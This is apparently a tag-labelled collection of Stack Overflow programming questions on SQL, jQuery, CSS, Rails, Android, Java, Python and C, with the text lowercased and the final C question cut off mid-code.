iphone trying to use nsstring class to save a string to file  i m trying to use the <code>stringwithstring:</code> and <code>stringwithcontentsoffile</code> to save a string to a file and then read it back.  it seemed like it should be very simple  but the object return by <code>stringwithcontentsoffile</code> is a <code>null</code>    code   <pre><code>// test strings nsstring *s=[ nsstring stringwithstring:@ hi ]; [ s writetofile:@ test.txt  atomically:true];  nsstring *g=[ nsstring stringwithcontentsoffile:@ test.txt ]; </code></pre>,iphone
sql select query for getting new line seperated rows  i have rows in the table as below.    <img src= https://i.stack.imgur.com/1jigc.png  alt= enter image description here >    need sql select oracle query which gives items as new line delimited text.    output needed as below.    <pre><code>a b c d e </code></pre>,sql
how to arrange images as a grid with variable number of columns   i currently have an html page that contains images and some text in a vertical sequential order.   <pre><code>&lt;div&gt;  &lt;img src= img/img1.jpg /&gt;  dr. xyz &lt;/div&gt;  &lt;div&gt;  &lt;img src= img/img1.jpg /&gt;  dr. xyz &lt;/div&gt;  &lt;div&gt;  &lt;img src= img/img1.jpg /&gt;  dr. xyz &lt;/div&gt; </code></pre>   what i am trying to do is to arrange the images into grids. i know i can use tables with two columns if i want to create the grid with two columns.    however  i do not want to hard-code this  is there an alternate way using javascript/css only to have a bunch of <code>div</code>s and then arrange them as a grid with arbitrary number of columns so that i don t have to restructure the whole page every time i want to change the number of grids.,javascript
does the controller-as syntax imply that view related code should be kept out of $scope   in strict server side mvc  the model should know nothing about the view  the two are separated from each other and the controller acts as an intermediary.    in angular  the $scope object acts as a view-model  a data store for models that is loosely tied to the dom. we may store other view related helper functions here. for example:   <pre><code>angular.module( app )   .controller( carouselcontroller   function($scope) {     $scope.carousel = {       current: 0        next:function() {         current++;       }     };   }); </code></pre>  <h2>controller-as</h2>   the new controller-as syntax seems to imply that view helpers are not welcome in $scope objects  and that helpers should be assigned in a directive.     is this indeed the road we are now travelling down.,angularjs
is there an objective-c library that does the same thing as ruby-english gem does   <a href= http://english.rubyforge.org/  rel= nofollow >http://english.rubyforge.org/</a>    require  english/inflect    <pre><code>     boy .plural      #=&gt;  boys       ox .plural       #=&gt;  oxen        boys .singular   #=&gt;  boy       oxen .singular   #=&gt;  ox  </code></pre>,objective-c
how to convert hex color to hex black and white   i could use a program like gimp and figure this out but i think it would be easier to just do the calculation manually  that is if i knew how.    if i have say:   <pre><code>#ff0000 (red) </code></pre>   how do i convert this to its black and white equivalent in hex.    one guess would be to take the average of each rgb value  and apply to each color space.    so   <pre><code>(0xff + 0x00 + 0x00) / 3 = 255 / 3 = 85 = 0x55 </code></pre>   would come to    <pre><code>#555555 </code></pre>   is this correct   its just a guess.,css
rails collapse nested errors into single message  i m designing an api to return errors for a model that <code>acceptes_nested_attributes_for</code> a number of associations (has_many  belongs_to  etc). i m currently looping through the errors to generate a single <code>error</code> key in the json response for 422 responses:   <pre><code>{ errors: @model.errors.full_messages.join(    ) } </code></pre>   however  this doesn t add detailed association errors (just  model is invalid ). does rails provide an easy way to propagate the detailed errors onto the parent model     i.e.   <pre><code>class part &lt; activerecord::base   belongs_to :car   validates :name  presence: true end  class car &lt; activerecord::base   has_many :parts   validates :name  presence: true   validates_associated :parts   accepts_nested_attributes_for :parts end  @car.errors # {:customer=&gt;[ is invalid ]} - want  customer name must be present  </code></pre>,ruby-on-rails
"chrome extension popup that saves website progress  i want to make a chrome extension that opens a popup that displays a website that has a game  but that also saves your progress in the game when the popup is closed.  everything works as far as having the popup display the website with the game  but when the popup closes  it reloads the page  hence getting rid of the game progress.  how do i keep the website  open  even though the popup is closed  here is my popup code:     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;&lt;head&gt;
   &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 &gt;
   &lt;title&gt;games4fun&lt;/title&gt;
                 &lt;style&gt;
             body { overflow:hidden; margin:0px; }
         &lt;/style&gt;
  &lt;/head&gt;
  &lt;body&gt;
 
   &lt;iframe src= https://jsnes.fir.sh/  frameborder= no  scrolling= yes  width= 400  height= 300 &gt;&lt;/iframe&gt;
                 
 &lt;/body&gt;&lt;/html&gt;</code></pre>
 </div>
 </div>
     here is my manifest.json code:     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>{
    manifest_version : 2 
    name :  games4fun  
    version :  0.1  
    browser_action : {
    default_icon :  mario.png  
    default_popup :  popup.html 
 }
 }</code></pre>
 </div>
 </div>",html
jquery: how to respond to the click event of an anchor tag of a specific class   i have a table that has a column that contains links. each cell in the column contains two links:   <ul> <li>view</li> <li>play</li> </ul>   when i click the  play  link  i want to display an alert box. i has assigned all the play links the same class  play     my script looks something like this:   <pre><code>$(document).ready(function(){   $( a.play ).click(function(){       alert( i was clicked );   }); }); </code></pre>   i know the script above wont work  because there is more that one element that matches the expression. however i have tried just about everything  including using $(this) to try to get to the clicked element - still it doesn t work. what do i have to do to get the a.play links to pop an alert when clicked     btw  if i type $( a.play ) in the ff console  the elements are correctly selected so i know my selectors are correct.    <strong>[edit]</strong>    corrected typo in above snippet. from the comments i have got so far  it seems the code above should work. here is some further detail then. i tried to keep things simple so as to prevent people getting distracted with possible red herrings  but it seems further information is required - as it is possible that there may be a clash between some of the plugins i am using on the page (even though there are no reported errors/warnings).    so here goes:    i am using the <a href= http://www.datatables.net/  rel= nofollow >datatables plugin</a> to create a sortable  paged table. in one of the columns of the table  the cells contain the  view  and  play  links. when the  play  link is selected  i want to display a modal form  which i can use to gather information from the user. i am using the jquery ui plugin  and am using almost verbatim copy of the code <a href= http://jqueryui.com/demos/dialog/#modal-form  rel= nofollow >here</a>  (just to test the concept).    so  what i am trying to do is this:   <ol> <li>click on the link:  $( a.play ) selects the elements correctly</li> <li>display a modal form when any one of the  play  links is selected</li> </ol>,jquery
broadcastreceiver and eventhandler  does onclicklistener and anything in event handler consider broadcastreceiver       <pre><code>onclicklistener processonclicklistener = new onclicklistener() {     public void onclick(view v) {                   // my code is here      } }; </code></pre>,android
every attempt at insert fails  can anyone tell me why none of these inserts work    <pre><code>insert into users password values ( e10adc3949ba59abbe56e057f20f883e ) where id = 36; </code></pre>  <hr>  <pre><code>insert into users (password) values ( e10adc3949ba59abbe56e057f20f883e ) where id = 36; </code></pre>  <hr>  <pre><code>insert into users ( password ) values ( e10adc3949ba59abbe56e057f20f883e ) where id = 36; </code></pre>,mysql
asp.net disable master page menu  im working with asp.net and c#. i have a master page and many aspx pages that use it.    the master page has a menu defined which is inside an unordered list(html).    i want to be able to disable the menu from the master page  from one of the aspx pages(lets call it page1)  when the page1 loads.   <pre><code>&lt;ul class= menu  id= menu  runat = server &gt;       &lt;li&gt;          &lt;a href= #  class= menulink &gt;mant&lt;/a&gt;              &lt;ul&gt;                   &lt;li&gt;&lt;a href= mant.aspx &gt;table&lt;/a&gt;&lt;/li&gt;              &lt;/ul&gt;       &lt;/li&gt;  &lt;/ul&gt; </code></pre>   how can i do that     thanks.,asp.net
sql query for something like  not having    i am trying to write a query that will return what hosts are missing a piece of software:   <pre><code>host                    software a                       title1 a                       title2 a                       title3  b                       title1 b                       title3 c                       title4 c                       title3 </code></pre>   how to query for which hosts are missing title2 (should be b and c)  i ve tried group by  having and subquery using count but i don t seem to have the right idea.,sql
how to pivot my table in mysql  i have table database like this :    <a href= https://i.stack.imgur.com/ge0uq.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ge0uq.png  alt= enter image description here ></a>    i want to make on table view like this :    <a href= https://i.stack.imgur.com/pv2jm.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pv2jm.png  alt= enter image description here ></a>    thanks.,mysql
how to alter column type of a primary key and connected foreign keys   i have a primary key named item_id. this column is connected as a foreign key in other tables.    if i try to change the column type one by one i have this: #1025 - error on rename...    how do i change the column type for all columns,mysql
ios:i got a old project when i login there comes a issue  the error is:   <pre><code>error:error domain=isnotvalidjsonobject code=0  xxx  userinfo={nslocalizeddescription=xxx} </code></pre>   i have motified the <code>app transport security security setting -&gt; allow arbitrary loads == yes</code>    does this issue somebody meet,ios
sql find lack of specific string against multiple id s in same table <pre><code>id  can eat 1   apples 1   pears 2   grapes 2   pears 3   apples 3   oranges 3   pears 4   oranges 5   apples 6   pears 6   oranges </code></pre>   using the above table as an example of data. how can i find the id of all people who cannot eat apples,sql
sql query excluding value  i ve got a query in which i want to exclude a specific value (in this example  mat )    the query works perfect without the sub-query in it:   <pre><code>select test.same   test.nationality  test.name  coalesce(test2.job   )jobb   from test   left join test2   on test.noid=test2.noid   where test.same = 555 and test.name not in (                                               select *                                               from test                                               where test.name =  mat                                                )   group by same   name   order by same desc   </code></pre>   example here:    <a href= http://www.sqlfiddle.com/#!2/1f1fb/28  rel= nofollow >http://www.sqlfiddle.com/#!2/1f1fb/28</a>,sql
the most convientent arabic fonts for web applications  i want to know the most convenient and standardized arabic font for web applications  used as messages to alert the end user..,asp.net
how does iphone resize images   does iphone automatically use bicubic resizing  or bicubic sharpening      say i have an image that will be 100 x 100 in the iphone. i know i should make it 200 x 200 and append @2x.png so iphone 4 high resolution screens can use that version. assuming file size makes no difference (a huge assumption  i know)... would it matter if i just use a 800 x 800 image and let the iphone do the resizing itself  rather than me manually resizing a 800 x 800 image to 200 x 200  what different would it make,iphone
how can i console $rootscope before each controller in angular   i m working on debug step. there are several pages. each time  i would need console the <code>$rootscope</code> for debug. i want to know if there is a way to console log the <code>$rootscope</code> for all controller  in other words  how can i console <code>$rootscope</code> before each controller in angular     update:    i mean the statement should run before all controllers without modify the controllers.,angularjs
why is: margin-left: calc(height / -2); not working   tho i am trying to center a picture with height: auto;. i thoght  margin-left: calc(height / -2);   is working... but it isn´t xd. do u guys have an idea who this could work,css
python testing whether an integer is within a certain range  i m trying to make a program that tests whether a number falls outside of a certain range... what am i doing wrong here ..   <pre><code>def outside(testnum  beginrange  endrange):    if testnum &lt;= beginrange:         return false    if testnum &gt;= endrange:         return false </code></pre>,python
adding more slant to italic text  i was curious as to if you can impact italic text with more of a slant with css  if so  how can this be accomplished,css
change a picture at a determined time  i m looking for a way to change a picture on my website if the time is later than 21pm on a certain day. basically i don t want to have to do it manually since i won t have access to a computer when i need to switch the image. i cannot use php as the website i am working on does not support php (only asp).    i guess it could be done in javascript.    edit : the picture need to be changed once at 21 and never be changed again not even the day after.,javascript
snow appears in the back of my divs  i ve exactly this website but the problem is:    <a href= http://i.stack.imgur.com/epq9n.png  rel= nofollow >http://i.stack.imgur.com/epq9n.png</a>    as you can see  the snow doesn t appear infront of the image (there is a div there)  also it doesn t appear in front of the box.    i used these codes:   <pre><code>&lt;script src= http://www.ristoranteaibarchi.com/snowjs/snowstorm.js &gt;&lt;/script&gt;  &lt;script src= http://www.ristoranteaibarchi.com/snowjs/snowstorm-min.js &gt;&lt;/script&gt; </code></pre>   however it worked on: <a href= http://www.ristoranteaibarchi.com/  rel= nofollow >http://www.ristoranteaibarchi.com/</a> but doesn t work on mine which i don t know why :/,html
how to get all network printers in c#  i have written the following code it didnot get the remote printers name can any one please help me    <pre><code>var searcher = new managementobjectsearcher( root\\cimv2    select * from                                               win32_printer );  var results = searcher.get();  ilist&lt;managementbaseobject&gt; printers = new list&lt;managementbaseobject&gt;(); `enter code here` foreach (var printer in results) `enter code here`{     if ((bool)printer[ network ]) `enter code here`{`enter code here`         printers.add(printer);`enter code here`     } } </code></pre>,.net
my gem commands keep pointing to a wrong server  any time i run a gem command (gem install  gem list  etc) i get the following error:   <pre><code>error:  while executing gem ... (gem::remotefetcher::fetcherror) errno::enetunreach: network is unreachable - connect(2) (&lt;internal_server_at_work&gt;) </code></pre>   a while back  before i finally got around to learning rails  one of the developers made a gem for a project and i made some sort of change to add that server to my gem repositories.    i have no idea where that is. my gemfile in the project i m using to teach myself rails puts rubygems.org as the source. is there a master gemfile of some sort     thanks,ruby-on-rails
can i animate a div using jquery toggle function  i want to animate a div using jquery toggle function so i searched google and found code which i used but it did not work.  here is the code which i used.   <pre><code>dodiv.toggle(function() { return odiv.animate({ opacity:  toggle   margintop:( -  + allchilddivheight +     px ) }  speed  easing  callback); } function() {  return odiv.animate({ opacity:  toggle   margintop:( -  + (margin_top+allchilddivheight )+  px ) }  speed  easing  callback); }); </code></pre>   what is wrong in the above script   need some help.  thanks.,jquery
iphone - ignoring the second touch on an area  i have a view that the users are allowed to finger paint. the code is working perfectly if the area is touched with one finger. for example: i touch it with one finger and move the finger. then  a line is drawn as i move the first finger. if i touch with a second finger the same view  the line that was being drawn by the first finger stops.     i would like to ignore any touch beyond the first  i.e.  to track the first touch but ignore all others to the same view.    i am using touchesbegan/moved/ended.    i have used this to detect the touches   <pre><code>uitouch *touch = [[event alltouches] anyobject]; lastpoint = [touch locationinview:myview]; </code></pre>   i have also tried this    <pre><code>lastpoint = [[touches anyobject] locationinview:myview]; </code></pre>   but nothing changed.     how do i do that - track the first touch and ignore any subsequent touch to a view     thanks.    note: the view is not adjusted to detect multiple touches.,iphone
respond_to is acting weird in my create action  i have the following controller (pretty basic).   <pre><code>class activitytypescontroller &lt; applicationcontroller   respond_to :html    def show     @model=activitytype.find(params[:id])     respond_with @model   end    def new     @folder = folder.find(params[:folder_id])     @model = @folder.activity_types.build     respond_with @folder  @model   end    def create     @folder = folder.find(params[:folder_id])     @model = @folder.activity_types.build(params[:activity_type])      if @model.save       flash[:notice] =  hoorraaaaayyy      end      respond_with @folder  @model  location: root_path   end    def edit     @folder = folder.find(params[:folder_id])     @model = activitytype.find(params[:id])     respond_with @folder  @model   end    def update     @folder = folder.find(params[:folder_id])     @model = @folder.activity_types.find(params[:id])      if @model.update_attributes(params[:activity_type])       flash[:notice] =  yeeeeaaaaaaah      end      respond_with @folder  @model  location: root_path   end </code></pre>   the interesing thing is: the <code>:location</code> option within the <code>#create</code> action is ignored  while in <code>#update</code>  it is honored.    i have no idea  why this is the case. even stranger: when removing the <code>:location</code> within <code>#create</code>  it seems to stay on the <code>#update</code> action and renders the <code>edit</code> view  instead of redirecting to the <code>#show</code> view.    has anybody an idea how i could track this problem down,ruby-on-rails
method parameters in objects  hoping i wont get flamed for this as i ve used objects for a while now but never considered this.    when declaring a method in a class i.e;   <pre><code>public class shape {     public int area(int basepassed  int heightpassed)     {        return basepassed * heightpassed;     } } </code></pre>   when the object is called for the main class calling it i.e:   <pre><code> int base = 3;  int height = 4;   shape test = new shape();   int areareturned = test.area(base  height) </code></pre>   are the parameter variables of the method  area  of the shape class used to purely set the parameter types expected to be passed when the object is created. or  do these variables take in a passed copy of the variables from the  main  class when the object method is called,c#
how can i improve the readibility of this  i have got a table with white font on a blue background as you can see its not the easiest to read. is there any font/solution to make it a bit more eye friendly with css. im using ie6    (the info displayed is made up)    edit: i cant change the background image and colour because theyre the companies colours    <img src= https://i.stack.imgur.com/piucc.jpg  alt= enter image description here >,css
quiz game program doesn t work correctly. displays incorrect answers  i have a quiz program due for my ap comp sci class where we have to create a quiz game with four types of possible questions  multiple answers  single answer  text  and number answer. i m basically finished  however when the questions are displayed  if there are several of the same types of questions  the first questions of that type will take the answers of the last of its type.   <pre><code>import java.io.filereader; import java.io.ioexception; import java.util.arraylist; import java.util.scanner;  public class quizrunner {    public static void main(string[] args) throws ioexception    {       quiz q = new quiz();       scanner in = new scanner(new         filereader( /users/ashaaf20/desktop/java/2017-18/src/textq ));       q.read(in);       in.close();        in = new scanner(system.in);            arraylist&lt;questiontime&gt; questions = q.getmybank();       arraylist&lt;string&gt; answers = new arraylist&lt;string&gt;();           for (questiontime qu : questions)          {             system.out.println(qu.gettext());             string answer = in.nextline();             answers.add(answer);          }        boolean[] results = q.checkanswers(answers);        for (int i = 0; i &lt; results.length; i++)       {          system.out.println() ;          system.out.println(questions.get(i).gettext());          system.out.println( correct answer:  +           questions.get(i).getanswer());          system.out.println( your answer:   + answers.get(i));          system.out.print( your answer was  );          if (!results[i])          {             system.out.print( not  );          }          system.out.println( correct. );       }    }    import java.io.filereader; import java.io.ioexception; import java.util.arraylist; import java.util.scanner;  public class quiz {    private arraylist&lt;questiontime&gt; mybank;    private arraylist&lt;string&gt; ansarr;    private string corr  question  answer;    public quiz()    {       mybank = new arraylist&lt;questiontime&gt;();     }    //reader    public void read(scanner in) throws ioexception    {       filereader reader = new filereader( /users/ashaaf20/desktop/java/2017-18/src/textq );       in = new scanner(reader);//scanner to read file       //string question  answer;       arraylist&lt;string&gt; all = new arraylist&lt;string&gt;();       ansarr = new arraylist&lt;string&gt;();       while(in.hasnextline()) // reads until there is no more info in the file       {          answer=  ;          ansarr.clear();          question =   ;          string file = in.nextline();          //system.out.println(file);          if(file.equals( n ))          {             question = in.nextline();             answer= in.nextline();               //system.out.println( answer:  +answer);             mybank.add(new numberquestion(question  answer  integer.parseint(answer)));          }                   else if(file.equals( t ))          {             question = in.nextline();             answer= in.nextline();             corr = answer;//             mybank.add(new textquestion(question  answer  corr));          }          else if(file.equals( s ))          {                      corr =  ;              question = in.nextline();              for(int i=0;i&lt;4;i++)              {                file= in.nextline();                answer =  ;                answer+=  ;                ansarr.add(file.substring(1));                if(file.substring(0 1).equals( + ))                   corr=file.substring(1 2);              }             mybank.add(new scquestion(question  answer  ansarr  corr));          }          else if(file.equals( m ))          {             ansarr.clear();          //file = in.nextline();           question = in.nextline();           for(int i=0;i&lt;4;i++)           {             file= in.nextline();             all.add(file.substring(1));             answer =  ;             answer+=file+   ;             ansarr.add(file);           }           corr =  ;           for(string x: ansarr)           {              if(x.substring(0 1).equals( + ))              {                 corr+=x.substring(1 2)+   ;              }           }          // system.out.println( corr ans:  +corr);           mybank.add(new mcquestion(question  answer  all  corr));         }       }    } //getters and setters    public arraylist&lt;questiontime&gt; getmybank()    {       return mybank;    }    public void setmybank(arraylist&lt;questiontime&gt; mybank)    {       this.mybank = mybank;    }    public boolean[] checkanswers(arraylist&lt;string&gt; answers)    {       boolean[] checks = new boolean[answers.size()];       for(int i = 0; i&lt;answers.size(); i++)       {          if(mybank.get(i).check(answers.get(i)))           {             checks[i] = true;           }          else checks[i] = false;       }       return checks;    }  }    public abstract class questiontime {    private string question  answer;    private arraylist&lt;string&gt; alloptions;    private string correct;    public questiontime(string text  string ans  arraylist&lt;string&gt; allans  string corr)    {       question = text;       answer = ans;       alloptions= allans;       correct = corr;    }     public questiontime(string text  string ans  string corr)    {       question = text;       answer = ans;       correct = corr;    }     public abstract boolean check(string input);      public questiontime getquestion()    {       return this;    }    public void setquestion(string newq)    {             question = newq;    }    public string getanswer()    {       if(correct==null)          return answer;       return correct;    }    public void setanswer(string newa)    {       answer = newa;    }    public string gettext()    {       string all = question;       if(alloptions!=null)       for(string x: alloptions)       {          all+= \n +x;       }       return all;    }   }  here are the questions: m what are examples of primary memory within a computer  +a) ram +b) cache memory -c) rom +d) data buses t which processor handles all the basic system instructions  such as processing mouse and keyboard input and running applications  cpu s what do you call a computer file  typically called an image  that behaves like an actual computer  -a) cpu +b) virtual machine -c) operating system -d) ram n convert 1011001012 to the corresponding base-ten number. 357 t true or false: only give your password to people you know. false s how often should you back up your computer  -a) once a lifetime -b) once a year -c) every minute +d) at least once a week n what does 8.99999997 round to  9 </code></pre>,java
sort highest to lowest in a file  i m new with python. recently i ve encountered a problem where i am suppose to print a sorted leaderboard of a fake game.    here s my code:   <pre><code>myfile = open( results.txt ) title =  {0:20} {1:20} {2:20} {3:20} {4:20} .format( player nickname   matches played   matches won   matches lost   points ) print(title) for line in myfile:     item = line.split(   )     points = int(item[2]) * 3     if points != 0:         result =  {0:20} {1:20} {2:20} {3:20} {4:&lt;20} .format(item[0]  item[1]  item[2]  item[3].rstrip()  points)         print(result) </code></pre>   and here s a few examples in the file   <pre><code>leeroy 19 7 12 jenkins 19 8 11 tyler 19 0 19 </code></pre>   i had to use .rstrip() to remove the \n escape code so the format can work properly.    is there any really simple way of sorting the file  instead of things like lambda and just really complicated stuff,python
android drag and drop for textview causing exception  i am trying to use inbuilt drag and drop functionality in android 4+. i have created my custom textview for this purpose as    <pre><code>public class dragspottextview extends textview </code></pre>   the textview drag is working fine but when i drag the view on some dragspot(this is also textview) its giving exception as;   <pre><code>01-17 16:16:29.178: e/androidruntime(1193): fatal exception: main 01-17 16:16:29.178: e/androidruntime(1193): java.lang.classcastexception: java.lang.string cannot be cast to android.text.spannable 01-17 16:16:29.178: e/androidruntime(1193):     at android.widget.textview.ondragevent(textview.java:11223) 01-17 16:16:29.178: e/androidruntime(1193):     at android.view.view.dispatchdragevent(view.java:13465) 01-17 16:16:29.178: e/androidruntime(1193):     at android.view.viewgroup.dispatchdragevent(viewgroup.java:1104) 01-17 16:16:29.178: e/androidruntime(1193):     at android.view.viewgroup.dispatchdragevent(viewgroup.java:1104) 01-17 16:16:29.178: e/androidruntime(1193):     at android.view.viewgroup.dispatchdragevent(viewgroup.java:1104) 01-17 16:16:29.178: e/androidruntime(1193):     at android.view.viewgroup.dispatchdragevent(viewgroup.java:1104) 01-17 16:16:29.178: e/androidruntime(1193):     at android.view.viewgroup.dispatchdragevent(viewgroup.java:1104) 01-17 16:16:29.178: e/androidruntime(1193):     at android.view.viewgroup.dispatchdragevent(viewgroup.java:1104) 01-17 16:16:29.178: e/androidruntime(1193):     at android.view.viewrootimpl.handledragevent(viewrootimpl.java:3471) 01-17 16:16:29.178: e/androidruntime(1193):     at android.view.viewrootimpl.handlemessage(viewrootimpl.java:2620) 01-17 16:16:29.178: e/androidruntime(1193):     at android.os.handler.dispatchmessage(handler.java:99) 01-17 16:16:29.178: e/androidruntime(1193):     at android.os.looper.loop(looper.java:137) 01-17 16:16:29.178: e/androidruntime(1193):     at android.app.activitythread.main(activitythread.java:4424) 01-17 16:16:29.178: e/androidruntime(1193):     at java.lang.reflect.method.invokenative(native method) 01-17 16:16:29.178: e/androidruntime(1193):     at java.lang.reflect.method.invoke(method.java:511) 01-17 16:16:29.178: e/androidruntime(1193):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:784) 01-17 16:16:29.178: e/androidruntime(1193):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:551) 01-17 16:16:29.178: e/androidruntime(1193):     at dalvik.system.nativestart.main(native method) </code></pre>,android
lines either side of date header  im using the following css to create two lines either side of my date header    <pre><code>.date-header span { display: inline-block; position: relative;   } .date-header span:after { content:   ; position: absolute; border-bottom: 1px solid #caa69a; top: 6px; width: 160%; left: 110%; } .date-header span::before { content:   ; position: absolute; top: 6px; border-top: 1px solid #caa69a; width: 160%; right: 110%; } </code></pre>   however the lines change size according to the length of the date. i d like the lines to stay a fixed a length. i m not sure what to edit or to add,css
what is the equivalent in jquery  i have the following javascript code and what will it equivalent to jquery.   <pre><code>var sup=  webkittransform  in document.body.style ||           moztransform  in document.body.style ||        mstransform  in document.body.style ||             otransform  in document.body.style ||         transform  in document.body.style; </code></pre>,jquery
angularjs - split a sentence into words delimited by  \n  character <pre><code>&lt;script &gt;     var app=angular.module( myapp  []);     app.controller( ctrl  function($scope){          var spliting=function(){          $scope.arr = [];          $scope.arr = $scope.textvalue.split(   );          var len = $scope.arr.length;         var spliting=function(){              for(var i=0;i&lt;len;i++){                 console.log(arr[i]);             }         }     }      });  &lt;/script&gt; </code></pre>   the input must be taken from a textbox. the function must split the words delimited by newline character and each word must be displayed in a separate textbox. thank you.          <pre><code>&lt;/head&gt; &lt;body ng-controller= ctrl &gt;     &lt;input type= text  ng-model= textvalue  ng-change= spliting() &gt;   &lt;/div&gt; </code></pre>,angularjs
update labels based on selection with jquery  i have a drop-down selector and form fields below. i need to be able to display form labels and corresponding form fields based on selected option.     what is the best way to implement this: prepare possible labels and fields and forms elements and store them in hidden divs and then show/hide based on selection    <pre><code>&lt;script type= text/javascript &gt; $(function() {     $( #myselector ).change(function(){                      $( .opt ).hide();          $( #  + $(this).val()).toggle();     }); }); &lt;/script&gt;  &lt;select id= myselector &gt;    &lt;option value= o1 &gt;car details    &lt;option value= o2 &gt;boat details    &lt;option value= o3 &gt;train details &lt;/select&gt;  &lt;div id= o1  class= opt &gt;     &lt;label for= f1_1 &gt;car speed&lt;/label&gt;     &lt;input id= f1_1  type= text &gt;     &lt;br&gt;     &lt;label for= f1_2 &gt;car color&lt;/label&gt;     &lt;input id= f1_2  type= text &gt; &lt;/div&gt;  &lt;div id= o2  class= opt &gt;     &lt;label for= f2_1 &gt;boat size&lt;/label&gt;     &lt;input id= f2_1  type= text &gt;     &lt;br&gt;     &lt;label for= f2_2 &gt;boat weight&lt;/label&gt;     &lt;input id= f2_2  type= text &gt; &lt;/div&gt;  &lt;div id= o3  class= opt &gt;     &lt;label for= f3_1 &gt;train length&lt;/label&gt;     &lt;input id= f3_1  type= text &gt;     &lt;br&gt;     &lt;label for= f3_2 &gt;train cargo&lt;/label&gt;     &lt;input id= f3_2  type= text &gt; &lt;/div&gt; </code></pre>   i assume jquery is the best way to go...    also  i will display this 3 times  once for each option. i need some sort of mechanist to prevent selecting the same option that has been selected above. is it possible,jquery
anyone know of a list of delegates already built into the framework   i find myself writing delegates occasionally for really simple functions (take no arguments and return void for example) and am wondering if anyone knows someplace that has compiled a list of all the predefined delegates already available in the .net framework so i can reuse them     to be clear i am looking for something like this:   <ul> <li>void system.asynccallback(system.iasyncresult)</li> <li>int system.comparison(t x  t y)</li> <li>void system.io.erroreventhandler(object  system.io.erroreventargs)</li> </ul>   and so on    if not  sounds like a good idea for a blog article.,.net
how to open a new tab in firefox  i currently have 5 text boxes and a button on my form. when i click the button  i d like my application to open a firefox tab for each textbox like so:   <pre><code>private sub btnsearch_click_1(sender as object  e as eventargs) handles btnsearch.click     system.diagnostics.process.start( firefox    www.google.com/  &amp; textbox1.text) end sub </code></pre>   so that code was just for the one textbox  but i d like it be able to open a second tab for the second text box. like so:   <pre><code>private sub btnsearch_click_1(sender as object  e as eventargs) handles btnsearch.click     system.diagnostics.process.start( firefox    www.google.com/  &amp; textbox1.text)      how do i get this to open a new tab      system.diagnostics.process.start( firefox    www.google.com/  &amp; textbox2.text) end sub </code></pre>   any ideas,.net
what is the prefered way to expose a module version number   what is the/is there a <em>prefered</em> way to expose a module version number    <ul> <li> python itself use the builtins tuple <code>sys.version_info</code>:   <pre><code>&gt;&gt;&gt; sys.version_info sys.version_info(major=3  minor=3  micro=0  releaselevel= final   serial=0) </code></pre></li> <li> mysqldb (for example) use an <em>ordinary</em> tuple:   <pre><code>&gt;&gt;&gt; mysqldb.version_info (1  2  3   final   0) </code></pre></li> <li> some third party library use the string <code>__version__</code>   <pre><code>&gt;&gt;&gt; requests.__version__  1.2.3  </code></pre></li> <li> some frameworks use the tuple <code>version</code>:   <pre><code>&gt;&gt;&gt; django.version (1  6  0   alpha   0) </code></pre></li> </ul>   ... apparently  there are a lot of different usages in that matter!,python
use set collection as a member of my questions class  i want to use set collection as a member of my questions class for storing unique multiple amswers    <pre><code>class questions {    int id ;    string question;    set&lt;string&gt; answers ; } </code></pre>   but don t know how to store answers and retrieve them from it<br> can anybody help me by providing relevant example,java
scaling images with css proportionally  i m working on a fluid layout and i m having trouble with scaling images. i ve been using absolute width and height lately  but that s causing problems in many instances.    my source image is 1642px wide by 760px high.    is there a way to do something involving percentages  much like you can proportionally scale an image in photoshop  say i want the image s height to be the same as the height of its container  but the width to be proportional in that sense.,css
address out of bounds in c  i m making a program that manipulates files using indices  but i m facing a problem that is blocking me when i try debugging one of my functions:  address 0x6 out of bounds . i ve really searched on the net and also here on stackoverflow  and i found similar questions but none of them helped me solve my problem. the code is really long (~2300 lines) so i ll just put the bit of code that generates for me the error (i m not sure about that but at least nothing happens before it)   <pre><code>char s[21]=  ;    int bi  bs;    scanf( %s   s);    scanf( %d   &amp;bi);    scanf( %d   &amp;bs);    consultrma(fichier bi  bs  s  tabrm  ageindx tableindexprim); </code></pre>   here s the function consultrma   <pre><code>    int consultrma(lnovc *f  char region[max_reg_milit]  int biage  int bsage  indexsecondregmilit tab[6]  tabindxage indxage  index_primaire tabprm[]) /** consulter tout les enregistrement relatifs a une region militaire region ayant un age entre deux valeurs biage et bsage (resp.)*/ {     int i  m = 0 n  k  r;     if (strcmp(region   1rm-blida ) == 0)     {         for(i = 0; i &lt; tab[0].nbmatric; i++)         {             if(tab[0].tab[i].suppr == 0)             {                 for(m = 0; m &lt; indxage.taille; m++)                 {                     if((indxage.tab[m].age &gt;= biage) &amp;&amp; (indxage.tab[m].age &lt;= bsage))                     {                         for(n = 0; n &lt; indxage.tab[m].nbmatric; n++)                         {                             if(indxage.tab[m].tab[n].matricule == tab[0].tab[i].matricule)                             {                                 k = rechindexprim(tab[0].tab[i].matricule  tabprm  *f);                                 if(k != -1)                                 {                                     r = tabprm[k].pos;                                     afficheenreg(f  tabprm[k].n_bloc  &amp;r);                                 }                             }                         }                     }                 }             }         }     }else if (strcmp(region   2rm-oran ) == 0)          {             for(i = 0; i &lt; tab[1].nbmatric; i++)             {                 if(tab[1].tab[i].suppr == 0)                 {                     for(m = 0; m &lt; indxage.taille; m++)                     {                         if((indxage.tab[m].age &gt;= biage) &amp;&amp; (indxage.tab[m].age &lt;= bsage))                         {                             for(n = 0; n &lt; indxage.tab[m].nbmatric; n++)                             {                                 if(indxage.tab[m].tab[n].matricule == tab[1].tab[i].matricule)                                 {                                     k = rechindexprim(tab[1].tab[i].matricule  tabprm  *f);                                     if(k != -1)                                     {                                         r = tabprm[k].pos;                                         afficheenreg(f  tabprm[k].n_bloc  &amp;r);                                     }                                 }                             }                         }                     }                 }             }         }else if (strcmp(region   3rm-bechar ) == 0)             {                 for(i = 0; i &lt; tab[2].nbmatric; i++)                 {                     if(tab[2].tab[i].suppr == 0)                     {                         for(m = 0; m &lt; indxage.taille; m++)                         {                             